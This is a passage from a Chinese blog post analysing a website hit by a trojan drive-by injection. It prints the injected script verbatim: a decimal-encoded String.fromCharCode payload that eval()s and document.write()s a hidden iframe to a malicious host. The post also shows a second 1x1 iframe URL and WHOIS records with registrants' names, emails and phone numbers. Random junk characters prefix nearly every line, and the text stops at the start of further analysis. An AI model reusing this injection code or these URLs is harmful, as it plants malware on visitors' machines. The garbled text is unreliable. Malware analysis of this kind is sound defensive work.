首发在我的博客里面，
!Pvf;rNI1T ou lVg]; http://www.areway.cn/?p=175 rU:`*b< 8W(*~}ydYY Vb;*m5,?: 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
t9` .bx8 #Y `~(K47 <script>t=’60,105,102,114,97,109,101,
?
(Oy\ 32,115,114,99,61,104,116,116,112,58,47,47,
n
ATuD 102,114,101,101,46,117,45,117,117,117,46,99,
J1|\Q:-7p 110,47,101,114,114,111,114,46,104,116,109,
l/ GGC nO/ 32,119,105,100,116,104,61,49,48,48,32,104,
6vo;! V6 101,105,103,104,116,61,48,62,60,47,105,102,
}OR@~V{Gj 114,97,109,101,62′;
@})|Z}~ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
6I4\q.^qw ] @c+]{ <script>t=’60,105,102,114,97,109,101,32,115,
^ogt+6c 114,99,61,104,116,116,112,58,47,47,102,114,
GW@;}m( 101,101,46,117,45,117,117,117,46,99,110,47,
X/!o\yyT 101,114,114,111,114,46,104,116,109,32,119,
[Td4K.c 105,100,116,104,61,49,48,48,32,104,101,105,
`pa!~|p 103,104,116,61,48,62,60,47,105,102,114,97,
{hjhL: pg 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
~ "H,/m%2o document.write(t);</script>
{SPq$B_VR Oc#syfO <html xmlns=”
tj Gn|+|k http://www.w3.org/1999/xhtml ItVWO:x&v “>
%6,SKg p <head>
+F` S>U <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
-H@ :* <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
B\=8_z <title>首页 - 爱生活家庭网
P>C~
i:4n z"L/G 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
qp }Cqi 转换字符串后的大概内容是（谁点击后果自付）：
O2E/jj <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
~9]hV7y5C w~A{(-
dx 查询玉米u-uuu.cn的详细信息：
h Ge/ ;@% Domain Name: u-uuu.cn
rig,mv ROID: 20070901s10001s64972306-cn
o Q 2Fj j Domain Status: ok
`Bp.RXsd* Registrant Organization: 王雷
*uf'zQ<9 Registrant Name: 王雷
8 &LQzwa Administrative Email:
czlovexs@126.com =p O^7g Sponsoring Registrar: 北京万网志成科技有限公司
$E~`\o%Ev Name Server:ns.yovole.com
m|n%$$S& Name Server:ns1.yovole.com
X,_2F Jv Registration Date: 2007-09-01 17:54
cWaSn7p !X Expiration Date: 2008-09-01 17:54
I\{ 1u 最后PING了一下地址 都没有什么….
- >-KCd1b H3 ^},. 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
n8
i] z <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
, , OW <script language=”javascript” src=”
!8d{q)JZ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script gMmaK0uhS >
kk@fL 这个玉米应该有可能是木马作者的：
SCHP L.n foafau.info的详细信息：
vn!3l1\+J Access to INFO WHOIS information is provided to assist persons in
5h-SCB>P determining the contents of a domain name registration record in the
2j88<Yh]H Afilias registry database. The data in this record is provided by
R6K m\N Afilias Limited for informational purposes only, and Afilias does not
m@2QnA[ 4 guarantee its accuracy. This service is intended only for query-based
KNvZm;Q6 access. You agree that you will use this data only for lawful purposes
gnOt+W8 and that, under no circumstances will you use this data to: (a) allow,
^A$Zw+P enable, or otherwise support the transmission by e-mail, telephone, or
O7m(o:t x3 facsimile of mass unsolicited, commercial advertising or solicitations
mb TEp* H to entities other than the data recipient’s own existing customers; or
Lv;^My (b) enable high volume, automated, electronic processes that send
}<v@0 1 queries or data to the systems of Registry Operator, a Registrar, or
5y [Oj^ Afilias except as reasonably necessary to register domain names or
i Dp)FQ$ modify existing registrations. All rights reserved. Afilias reserves
t7Iv?5]N the right to modify these terms at any time. By submitting this query,
HZC"nb}r4 you agree to abide by this policy.
v6bGjVK[ Domain ID:D22418703-LRMS
uK"=i8rs4 Domain Name:FOAFAU.INFO
w !-gJmX> Created On:20-Nov-2007 16:05:42 UTC
ghG**3xr Last Updated On:20-Nov-2007 16:05:44 UTC
{j?FNO Jn Expiration Date:20-Nov-2008 16:05:42 UTC
{ OkV %Q< Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
p YZmz Status:CLIENT DELETE PROHIBITED
.+3g*Dv{& Status:CLIENT RENEW PROHIBITED
?W?c 1> Status:CLIENT TRANSFER PROHIBITED
df4A RP+ Status:CLIENT UPDATE PROHIBITED
+US !YU Status:TRANSFER PROHIBITED
:Uzm
Registrant ID:GODA-040110615
M#4p E_G Registrant Name:liu hong
9}!qR|l3nR Registrant Organization:
!* d I|k Registrant Street1:beijing
d9f C<Tp Registrant Street2:
:841qCW Registrant Street3:
yiXS YD Registrant City:beijing
S]e|"n~@ Registrant State/Province:
_~l5u8{^ 6 Registrant Postal Code:100000
WdH$JTk1 Registrant Country:CN
QC
OM_$ y Registrant Phone:+86.860108888777
{tuYs: Registrant Phone Ext.:
.Ni\\ Registrant FAX:
S"bg9o Registrant FAX Ext.:
NdA[C|_8}f Registrant Email:bbbshiji@163.com
~F|+o}a `
Admin ID:GODA-240110615
A@!qv#' Admin Name:liu hong
Ju!]&G8 Admin Organization:
<e=#F-DE Admin Street1:beijing
# Yj 1w Admin Street2:
bQg:zww Admin Street3:
Ha0M)0Anv Admin City:beijing
p J!
mw\: Admin State/Province:
/!yU !`bY Admin Postal Code:100000
h,u, ^ r Admin Country:CN
%op**@4/t\ Admin Phone:+86.860108888777
Q^9_' t}X Admin Phone Ext.:
)1J R# Admin FAX:
n`B:;2X, Admin FAX Ext.:
Ct <udO Admin Email:bbbshiji@163.com
_/s$ZCd Billing ID:GODA-340110615
*MhRW,= Billing Name:liu hong
z;,u}u}aI Billing Organization:
c \J: Tech Organization:
(&Kk7< #` Tech Street1:beijing
5FPM`hLT Tech Street2:
&v/dj@ Tech Street3:
MO]F1E?X Tech City:beijing
6RU~"C Tech State/Province:
#>("CAB02T Tech Postal Code:100000
~|D Ut Tech Country:CN
iJI }TVep# Tech Phone:+86.860108888777
\$~|ZwV{ Tech Phone Ext.:
#1A.?p Tech FAX:
!OhC/f(GBZ Tech FAX Ext.:
R6<X%*&% Tech Email:bbbshiji@163.com
}z'8Bu Name Server:NS27.DOMAINCONTROL.COM
j;+b0(53 Name Server:NS28.DOMAINCONTROL.COM
1APe=tJ Name Server:
aB 2F C$z Name Server:
GE:vp>>}` Name Server:
2. NN8PPD" Name Server:
DZ 3wCLQtK Name Server:
V# }!-Xj Name Server:
}1L4 "}L. Name Server:
,B*EVN Name Server:
[ :
n'k Name Server:
+5g_KS Name Server:
xA2YG|RU=b Name Server:
K-^\"
W8 htO +z7 接着下载每个文件里面的代码：
Y!aSs3c 一步一步看..
: %_LpZ 
g{]0sn# 
!]A 
%OL$ 57Ia 
^&9z w\x;z 
m^!Z_]A
